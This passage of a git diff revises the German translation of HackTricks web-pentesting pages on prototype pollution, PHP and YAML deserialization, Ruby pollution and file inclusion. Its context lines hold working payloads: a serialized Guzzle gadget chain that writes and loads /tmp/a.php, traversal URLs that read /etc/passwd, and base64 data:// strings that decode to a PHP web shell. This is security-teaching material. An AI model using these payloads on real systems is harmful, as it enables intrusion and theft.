- Verschmutzen Sie die Pfade, um das **Require-Laden der `.js`-Datei** zu erzwingen, die etwas mit child_process ausführen wird
-- **Verschmutzen Sie die environ/cmdline**, um willkürlichen Code auszuführen, wenn eine Funktion zur Ausführung von child_process aufgerufen wird (siehe die ursprünglichen Techniken)
+- **Verschmutzen Sie die environ/cmdline**, um beliebigen Code auszuführen, wenn eine Funktion zur Ausführung von child_process aufgerufen wird (siehe die ursprünglichen Techniken)
#### Absolutes Require
@@ -665,12 +665,12 @@ Allerdings wurde, wie bei den vorherigen **`child_process`**-Methoden, dies in d
## Fixes & Unerwartete Schutzmaßnahmen
-Bitte beachten Sie, dass die Prototype-Pollution funktioniert, wenn das **Attribut** eines Objekts, auf das zugegriffen wird, **undefiniert** ist. Wenn im **Code** dieses **Attribut** auf einen **Wert** **gesetzt** wird, **können Sie es nicht überschreiben**.
+Bitte beachten Sie, dass die Prototyp-Verschmutzung funktioniert, wenn das **Attribut** eines Objekts, auf das zugegriffen wird, **undefiniert** ist. Wenn im **Code** dieses **Attribut** auf einen **Wert** **gesetzt** wird, **können Sie es nicht überschreiben**.
-Im Juni 2022 wurde von [**diesem Commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) die Variable `options` anstelle eines `{}` zu einem **`kEmptyObject`**. Dies **verhindert, dass eine Prototype-Pollution** die **Attribute** von **`options`** beeinflusst, um RCE zu erhalten.\
+Im Juni 2022 wurde durch [**diesen Commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) die Variable `options` anstelle eines `{}` zu einem **`kEmptyObject`**. Dies **verhindert eine Prototyp-Verschmutzung**, die die **Attribute** von **`options`** beeinflusst, um RCE zu erhalten.\
Mindestens ab v18.4.0 wurde dieser Schutz **implementiert**, und daher funktionieren die `spawn`- und `spawnSync`-**Exploits**, die die Methoden betreffen, **nicht mehr** (wenn keine `options` verwendet werden!).
-In [**diesem Commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) wurde die **Prototype-Pollution** von **`contextExtensions`** aus der vm-Bibliothek **auch irgendwie behoben**, indem die Optionen auf **`kEmptyObject`** anstelle von **`{}`** gesetzt wurden.
+In [**diesem Commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) wurde die **Prototyp-Verschmutzung** von **`contextExtensions`** aus der vm-Bibliothek **auch irgendwie behoben**, indem die Optionen auf **`kEmptyObject`** anstelle von **`{}`** gesetzt wurden.
### **Andere Gadgets**
diff --git a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
index 450487fcb..6c562704f 100644
--- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
+++ b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
-Zuerst sollten Sie überprüfen, was [**Autoloading-Klassen**](https://www.php.net/manual/en/language.oop5.autoload.php) sind.
+Zuerst sollten Sie überprüfen, was [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php) sind.
## PHP Deserialisierung + spl_autoload_register + LFI/Gadget
-Wir befinden uns in einer Situation, in der wir eine **PHP-Deserialisierung in einer Webanwendung** gefunden haben, ohne dass eine Bibliothek anfällig für Gadgets innerhalb von **`phpggc`** ist. In demselben Container gab es jedoch eine **andere Composer-Webanwendung mit anfälligen Bibliotheken**. Daher war das Ziel, den **Composer-Loader der anderen Webanwendung zu laden** und ihn auszunutzen, um ein Gadget zu **laden, das diese Bibliothek mit einem Gadget** aus der Webanwendung, die anfällig für Deserialisierung ist, ausnutzt.
+Wir befinden uns in einer Situation, in der wir eine **PHP-Deserialisierung in einer Webanwendung** gefunden haben, ohne dass eine Bibliothek anfällig für Gadgets innerhalb von **`phpggc`** ist. In demselben Container gab es jedoch eine **andere Composer-Webanwendung mit anfälligen Bibliotheken**. Daher war das Ziel, den **Composer-Loader der anderen Webanwendung zu laden** und ihn auszunutzen, um **ein Gadget zu laden, das diese Bibliothek mit einem Gadget** aus der Webanwendung, die anfällig für Deserialisierung ist, ausnutzt.
Schritte:
@@ -38,24 +38,24 @@ require __DIR__ . $filename;
> [!TIP]
> Wenn Sie einen **Datei-Upload** haben und eine Datei mit der **`.php`-Erweiterung** hochladen können, könnten Sie **diese Funktionalität direkt ausnutzen** und bereits RCE erhalten.
-In meinem Fall hatte ich so etwas nicht, aber es gab im **gleichen Container** eine andere Composer-Webseite mit einer **Bibliothek, die anfällig für ein `phpggc`-Gadget ist**.
+In meinem Fall hatte ich nichts dergleichen, aber es gab im **gleichen Container** eine andere Composer-Webseite mit einer **Bibliothek, die anfällig für ein `phpggc`-Gadget ist**.
- Um diese andere Bibliothek zu laden, müssen Sie zuerst den **Composer-Loader dieser anderen Webanwendung laden** (da der der aktuellen Anwendung nicht auf die Bibliotheken der anderen zugreifen kann). **Wenn Sie den Pfad der Anwendung kennen**, können Sie dies sehr einfach erreichen mit: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In meinem Fall war der Composer-Loader in `/www/frontend/vendor/autoload.php`)
- Jetzt können Sie den **Composer-Loader der anderen App laden**, also ist es Zeit, die **`phpgcc`** **Payload** zu generieren, die Sie verwenden möchten. In meinem Fall verwendete ich **`Guzzle/FW1`**, das es mir ermöglichte, **jede Datei im Dateisystem zu schreiben**.
- HINWEIS: Das **generierte Gadget funktionierte nicht**, damit es funktioniert, **modifizierte** ich diese Payload **`chain.php`** von phpggc und stellte **alle Attribute** der Klassen **von privat auf öffentlich** ein. Andernfalls hatten die Attribute der erstellten Objekte nach der Deserialisierung des Strings keine Werte.
-- Jetzt haben wir die Möglichkeit, den **Composer-Loader der anderen App zu laden** und eine **funktionierende phpggc-Payload** zu haben, aber wir müssen **dies in DER GLEICHEN ANFRAGE tun, damit der Loader geladen wird, wenn das Gadget verwendet wird**. Dazu sendete ich ein serialisiertes Array mit beiden Objekten wie:
+- Jetzt haben wir die Möglichkeit, den **Composer-Loader der anderen App zu laden** und eine **phpggc-Payload, die funktioniert**, aber wir müssen dies **IM GLEICHEN ANFRAGE tun, damit der Loader geladen wird, wenn das Gadget verwendet wird**. Dazu sendete ich ein serialisiertes Array mit beiden Objekten wie:
- Sie können **zuerst sehen, wie der Loader geladen wird und dann die Payload**
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
-- Jetzt können wir **eine Datei erstellen und schreiben**, jedoch **konnte der Benutzer in keinen Ordner des Webservers schreiben**. Wie Sie im Payload sehen können, wird PHP **`system`** mit etwas **base64** in **`/tmp/a.php`** aufgerufen. Dann können wir **den ersten Typ von Payload wiederverwenden**, den wir als LFI verwendet haben, um den Composer-Loader der anderen Webanwendung **zum Laden der generierten `/tmp/a.php`**-Datei zu verwenden. Fügen Sie es einfach dem Deserialisierungs-Gadget hinzu:
+- Jetzt können wir **eine Datei erstellen und schreiben**, jedoch **konnte der Benutzer in keinen Ordner des Webservers schreiben**. Wie Sie im Payload sehen können, wird PHP **`system`** mit etwas **base64** in **`/tmp/a.php`** aufgerufen. Dann können wir **den ersten Typ von Payload wiederverwenden**, den wir als LFI verwendet haben, um den Composer-Loader der anderen Webanwendung **zum Laden der generierten `/tmp/a.php`**-Datei zu laden. Fügen Sie es einfach dem Deserialisierungs-Gadget hinzu:
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**Zusammenfassung des Payloads**
- **Lade das Composer-Autoload** einer anderen Webanwendung im selben Container
-- **Lade ein phpggc Gadget**, um eine Bibliothek der anderen Webanwendung auszunutzen (die ursprüngliche Webanwendung, die anfällig für Deserialisierung war, hatte keine Gadgets in ihren Bibliotheken)
+- **Lade ein phpggc-Gadget**, um eine Bibliothek der anderen Webanwendung auszunutzen (die ursprüngliche Webanwendung, die anfällig für Deserialisierung war, hatte keine Gadgets in ihren Bibliotheken)
- Das Gadget wird **eine Datei mit einem PHP-Payload** in /tmp/a.php mit bösartigen Befehlen erstellen (der Webanwendungsbenutzer kann in keinem Ordner einer Webanwendung schreiben)
- Der letzte Teil unseres Payloads wird **die generierte PHP-Datei laden**, die Befehle ausführt
diff --git a/src/pentesting-web/deserialization/python-yaml-deserialization.md b/src/pentesting-web/deserialization/python-yaml-deserialization.md
index 3c27e5798..e3f5555e2 100644
--- a/src/pentesting-web/deserialization/python-yaml-deserialization.md
+++ b/src/pentesting-web/deserialization/python-yaml-deserialization.md
@@ -4,7 +4,7 @@
## Yaml **Deserialization**
-**Yaml** Python-Bibliotheken sind auch in der Lage, **Python-Objekte** zu **serialisieren** und nicht nur Rohdaten:
+**Yaml** Python-Bibliotheken sind auch in der Lage, **Python-Objekte zu serialisieren** und nicht nur Rohdaten:
```
print(yaml.dump(str("lol")))
lol
@@ -22,7 +22,7 @@ print(yaml.dump(range(1,10)))
- 10
- 1
```
-Überprüfen Sie, wie das **tuple** kein Rohdatentyp ist und daher **serialisiert** wurde. Und das Gleiche geschah mit dem **range** (aus den Builtins).
+Überprüfen Sie, wie das **Tuple** kein Rohdatentyp ist und daher **serialisiert** wurde. Das gleiche geschah mit dem **Range** (aus den Builtins).
.png>)
@@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) #
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
-Der vorherige Code verwendete **unsafe_load**, um die serialisierte Python-Klasse zu laden. Dies liegt daran, dass in **Version >= 5.1** das **Deserialisieren von beliebigen serialisierten Python-Klassen oder Klassenattributen** nicht erlaubt ist, wenn der Loader in load() nicht angegeben oder Loader=SafeLoader ist.
+Der vorherige Code verwendete **unsafe_load**, um die serialisierte Python-Klasse zu laden. Dies liegt daran, dass in **Version >= 5.1** es nicht erlaubt ist, **irgendeine serialisierte Python-Klasse oder Klassenattribut** zu **deserialisieren**, wenn der Loader in load() nicht angegeben oder Loader=SafeLoader ist.
### Grundlegender Exploit
diff --git a/src/pentesting-web/deserialization/ruby-_json-pollution.md b/src/pentesting-web/deserialization/ruby-_json-pollution.md
index c6a3f432a..31f4ea700 100644
--- a/src/pentesting-web/deserialization/ruby-_json-pollution.md
+++ b/src/pentesting-web/deserialization/ruby-_json-pollution.md
@@ -6,7 +6,7 @@ Dies ist eine Zusammenfassung des Beitrags [https://nastystereo.com/security/rai
## Grundinformationen
-Beim Senden eines Körpers werden einige nicht hashbare Werte wie ein Array in einen neuen Schlüssel namens `_json` eingefügt. Es ist jedoch möglich, dass ein Angreifer auch im Körper einen Wert namens `_json` mit beliebigen Werten festlegt. Wenn das Backend beispielsweise die Richtigkeit eines Parameters überprüft, dann aber auch den `_json`-Parameter verwendet, um eine Aktion auszuführen, könnte ein Autorisierungsumgehung durchgeführt werden.
+Beim Senden eines Körpers werden einige Werte, die nicht hashbar sind, wie ein Array, in einen neuen Schlüssel namens `_json` eingefügt. Es ist jedoch möglich, dass ein Angreifer auch im Körper einen Wert namens `_json` mit beliebigen Werten festlegt. Wenn das Backend beispielsweise die Richtigkeit eines Parameters überprüft, dann aber auch den `_json`-Parameter verwendet, um eine Aktion auszuführen, könnte ein Autorisierungsumgehung durchgeführt werden.
```json
{
"id": 123,
diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md
index 7771244b2..3f1d6fa8c 100644
--- a/src/pentesting-web/deserialization/ruby-class-pollution.md
+++ b/src/pentesting-web/deserialization/ruby-class-pollution.md
@@ -143,10 +143,10 @@ JSONMergerApp.run(json_input)
```
### Erklärung
-1. **Privilegieneskalation**: Die `authorize`-Methode überprüft, ob `to_s` "Admin" zurückgibt. Durch das Injizieren eines neuen `to_s`-Attributs über JSON kann ein Angreifer die `to_s`-Methode dazu bringen, "Admin" zurückzugeben, was unbefugte Privilegien gewährt.
+1. **Privilegieneskalation**: Die `authorize`-Methode überprüft, ob `to_s` "Admin" zurückgibt. Durch das Injizieren eines neuen `to_s`-Attributs über JSON kann ein Angreifer die `to_s`-Methode dazu bringen, "Admin" zurückzugeben, was unbefugte Berechtigungen gewährt.
2. **Remote Code Execution**: In `health_check` führt `instance_eval` Methoden aus, die in `protected_methods` aufgeführt sind. Wenn ein Angreifer benutzerdefinierte Methodennamen (wie `"puts 1"`) injiziert, wird `instance_eval` diese ausführen, was zu **remote code execution (RCE)** führt.
1. Dies ist nur möglich, weil es eine **anfällige `eval`-Anweisung** gibt, die den Stringwert dieses Attributs ausführt.
-3. **Einschränkung der Auswirkungen**: Diese Schwachstelle betrifft nur einzelne Instanzen und lässt andere Instanzen von `User` und `Admin` unberührt, wodurch der Umfang der Ausnutzung begrenzt wird.
+3. **Auswirkungsbegrenzung**: Diese Schwachstelle betrifft nur einzelne Instanzen und lässt andere Instanzen von `User` und `Admin` unberührt, wodurch der Umfang der Ausnutzung begrenzt wird.
### Anwendungsfälle aus der Praxis
@@ -168,9 +168,9 @@ end
```
### Hashie’s `deep_merge`
-Die Methode `deep_merge` von Hashie arbeitet direkt mit den Attributen von Objekten anstelle von einfachen Hashes. Sie **verhindert den Ersatz von Methoden** durch Attribute bei einem Merge mit einigen **Ausnahmen**: Attribute, die mit `_`, `!` oder `?` enden, können weiterhin in das Objekt gemerged werden.
+Die Methode `deep_merge` von Hashie arbeitet direkt mit den Attributen von Objekten anstelle von einfachen Hashes. Sie **verhindert den Ersatz von Methoden** durch Attribute bei einem Merge mit einigen **Ausnahmen**: Attribute, die mit `_`, `!` oder `?` enden, können weiterhin in das Objekt zusammengeführt werden.
-Ein Sonderfall ist das Attribut **`_`** allein. Nur `_` ist ein Attribut, das normalerweise ein `Mash`-Objekt zurückgibt. Und da es Teil der **Ausnahmen** ist, ist es möglich, es zu modifizieren.
+Ein Sonderfall ist das Attribut **`_`** für sich genommen. Nur `_` ist ein Attribut, das normalerweise ein `Mash`-Objekt zurückgibt. Und da es Teil der **Ausnahmen** ist, ist es möglich, es zu modifizieren.
Überprüfen Sie das folgende Beispiel, wie man durch das Übergeben von `{"_": "Admin"}` in der Lage ist, `_.to_s == "Admin"` zu umgehen:
```ruby
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 346f95c18..7236d3525 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -1,8 +1,8 @@
-# Dateieinschluss/Pfad Traversierung
+# Dateieinbindung/Pfad Traversierung
{{#include ../../banners/hacktricks-training.md}}
-## Dateieinschluss
+## Dateieinbindung
**Remote File Inclusion (RFI):** Die Datei wird von einem Remote-Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies **standardmäßig deaktiviert** (**allow_url_include**).\
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
@@ -57,7 +57,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null-Byte (%00)**
-Umgehung des Anhängens weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $\_GET\['param']."php")
+Um das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge zu umgehen (Umgehung von: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@@ -92,10 +92,10 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
```
3. **Interpretieren der Ergebnisse:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
-- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
-4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Methoden der Local File Inclusion (LFI) untersucht werden.
+- **Inhalte von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
+4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Local File Inclusion (LFI) Methoden untersucht werden.
-Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Nutzlast entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein Verzeichnis `private` enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
+Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein `private` Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@@ -121,11 +121,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.
-- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`), kombiniert mit zusätzlichen Punktsegmenten und Zeichen, können verwendet werden, um das Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
+- **Verwendung von Punktsegmenten und zusätzlichen Zeichen**: Traversierungssequenzen (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und effektiv angehängte Zeichenfolgen des Servers zu ignorieren.
- **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
-Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario könnte einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
+Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
@@ -149,9 +149,9 @@ Wenn aus irgendeinem Grund **`allow_url_include`** auf **On** gesetzt ist, aber
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
-> Im vorherigen Code wurde das finale `+.txt` hinzugefügt, da der Angreifer eine Zeichenkette benötigte, die mit `.txt` endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
+> Im vorherigen Code wurde das finale `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die mit `.txt` endete, sodass die Zeichenkette damit endet und nach der b64-Dekodierung dieser Teil nur Müll zurückgibt und der echte PHP-Code eingeschlossen (und somit ausgeführt) wird.
-Ein weiteres Beispiel **ohne die Verwendung des `php://` Protokolls** wäre:
+Ein weiteres Beispiel **ohne Verwendung des `php://` Protokolls** wäre:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
@@ -225,7 +225,7 @@ PHP-Filter ermöglichen grundlegende **Modifikationsoperationen an den Daten**,
- `convert.iconv.*` : Transformiert in eine andere Kodierung (`convert.iconv..`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l`
> [!WARNING]
-> Durch den Missbrauch des `convert.iconv.*` Konversionsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu erstellen, die willkürlichen Text verarbeitet. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
+> Durch den Missbrauch des `convert.iconv.*` Konversionsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include dazu zu bringen, willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)
@@ -269,7 +269,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Verwendung von php-Filtern als Oracle zum Lesen beliebiger Dateien
-[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (zeichenweise) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
+[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von php-Filtern** als Oracle. Dies liegt daran, dass php-Filter verwendet werden können, um einen Text groß genug zu machen, damit php eine Ausnahme auslöst.
Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:
@@ -277,13 +277,13 @@ Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik,
- Dies wird verwendet, um einen **so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird**, dass php einen **Fehler** auslöst.
- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
-- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er mit der anfänglichen Bombe multipliziert.
-- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den hexadezimalen Bereich zu verschieben).
-- Wenn das anfängliche Zeichen eine Zahl ist, muss es base64 codiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
-- Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilters wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und andere Buchstaben des Textes an die erste Position zu bringen.
-- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es mit den nächsten 2 Bytes **zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
+- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
+- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
+- Wenn das anfängliche Zeichen eine Zahl ist, muss es base64-kodiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
+- Das endgültige Problem besteht darin, **wie man mehr als den anfänglichen Buchstaben leakt**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
+- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
-Im Beitrag wurde auch ein Tool zur automatischen Durchführung dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+Im Beitrag wurde auch ein Tool zum automatischen Ausführen dieser Technik geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@@ -354,7 +354,7 @@ php --define phar.readonly=0 create_path.php
```
Bei der Ausführung wird eine Datei namens `test.phar` erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI) Schwachstellen verwendet werden könnte.
-In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
+In Fällen, in denen die LFI nur das Lesen von Dateien ohne Ausführung des PHP-Codes innerhalb dieser durch Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` durchführt, könnte versucht werden, eine Deserialisierungsanfälligkeit auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des `phar`-Protokolls verbunden.
Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsanfälligkeiten im Kontext von `.phar`-Dateien, siehe das unten verlinkte Dokument:
@@ -366,9 +366,9 @@ phar-deserialization.md
### CVE-2024-2961
-Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und php-Filter unterstützt**, zu missbrauchen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und php-Filter unterstützt, zu missbrauchen**, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr schnelle Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde missbraucht, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern**, um **alles an jede Adresse zu schreiben**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
-Es war möglich, Blöcke spezifischer Größen zuzuweisen, indem mehr PHP-Filter missbraucht wurden.
+Es war möglich, Blöcke spezifischer Größen zuzuweisen, indem mehr php-Filter missbraucht wurden.
### Weitere Protokolle
@@ -404,15 +404,15 @@ Es ist wichtig, diese **Payloads URL-zu kodieren**.
## PHP Blind Path Traversal
> [!WARNING]
